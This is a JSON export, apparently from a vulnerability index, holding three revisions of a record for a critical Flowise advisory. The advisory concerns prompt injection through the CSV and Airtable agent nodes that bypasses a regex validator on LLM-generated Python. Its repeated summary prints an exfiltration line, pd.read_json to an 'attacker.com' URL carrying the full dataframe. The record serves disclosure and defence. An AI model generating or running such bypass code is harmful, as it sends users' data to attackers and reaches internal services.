{"items":[{"id":"NVI-00011876","kind":"vulnerability","title":"Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-w7x8-q2gp-5cgg","CVE-2026-73487"],"plain_summary":"GitHub lists this reviewed advisory for flowise, flowise-components. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-502d90af6fb05a59562628f8b4877656"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-24T15:10:00.190Z","value":"9.8 CRITICAL (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-321be8cfe3a0e9183e910e8b95d7ad74"},{"kind":"CVSS","as_of":"2026-10-24T15:10:00.190Z","value":"9 CRITICAL (4.0)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-321be8cfe3a0e9183e910e8b95d7ad74"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.961%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.61571. Missing scores are unknown.","source_id":"sr-502d90af6fb05a59562628f8b4877656"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-4d25987478564b96d59f70658ab50209","url":"https://github.com/advisories/GHSA-w7x8-q2gp-5cgg","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-w7x8-q2gp-5cgg","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:58:46.232Z"},{"id":"sr-321be8cfe3a0e9183e910e8b95d7ad74","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73487","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-73487","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-04T09:58:54.704Z"},{"id":"sr-502d90af6fb05a59562628f8b4877656","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-73487","publisher":"FIRST EPSS","observed_at":"2026-11-01T01:39:43.085Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]},{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise-components","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]}],"null_published_at":"2026-11-04T10:04:35.928Z","source_updated_at":"2026-10-07T16:17:22.000Z","source_disclosed_at":"2026-10-07T16:17:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-01T00:58:46.232Z"},{"id":"NVI-00011876","kind":"vulnerability","title":"Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-w7x8-q2gp-5cgg","CVE-2026-73487"],"plain_summary":"GitHub lists this reviewed advisory for flowise, flowise-components. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-502d90af6fb05a59562628f8b4877656"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.961%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.61571. Missing scores are unknown.","source_id":"sr-502d90af6fb05a59562628f8b4877656"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-4d25987478564b96d59f70658ab50209","url":"https://github.com/advisories/GHSA-w7x8-q2gp-5cgg","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-w7x8-q2gp-5cgg","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:58:46.232Z"},{"id":"sr-502d90af6fb05a59562628f8b4877656","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-73487","publisher":"FIRST EPSS","observed_at":"2026-11-01T01:39:43.085Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]},{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise-components","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]}],"null_published_at":"2026-11-01T22:58:19.126Z","source_updated_at":"2026-10-07T16:17:22.000Z","source_disclosed_at":"2026-10-07T16:17:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-11-01T00:58:46.232Z"},{"id":"NVI-00011876","kind":"vulnerability","title":"Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-w7x8-q2gp-5cgg","CVE-2026-73487"],"plain_summary":"GitHub lists this reviewed advisory for flowise, flowise-components. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-4d25987478564b96d59f70658ab50209","url":"https://github.com/advisories/GHSA-w7x8-q2gp-5cgg","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-w7x8-q2gp-5cgg","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:58:46.232Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]},{"certainty":"source_listed","source_ids":["sr-4d25987478564b96d59f70658ab50209"],"technology":"flowise-components","known_exclusions":[],"conditions_summary":"## Summary\n\nFlowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.\n\nThe most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.\n\n## Severity\n\n**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n\n## Affected Versions\n\n- Flowise <= 3.1.2 (latest at time of disclosure)\n- Any deployment with a CSV Agent or Airtable Agent chatflow\n\n## Details\n\n### Root Cause\n\nThe `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally","public_affected_ranges":["<= 3.1.2"]}],"null_published_at":"2026-11-01T01:03:56.612Z","source_updated_at":"2026-10-07T16:17:22.000Z","source_disclosed_at":"2026-10-07T16:17:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T00:58:46.232Z"}],"next_cursor":null,"snapshot_revision":"42594"}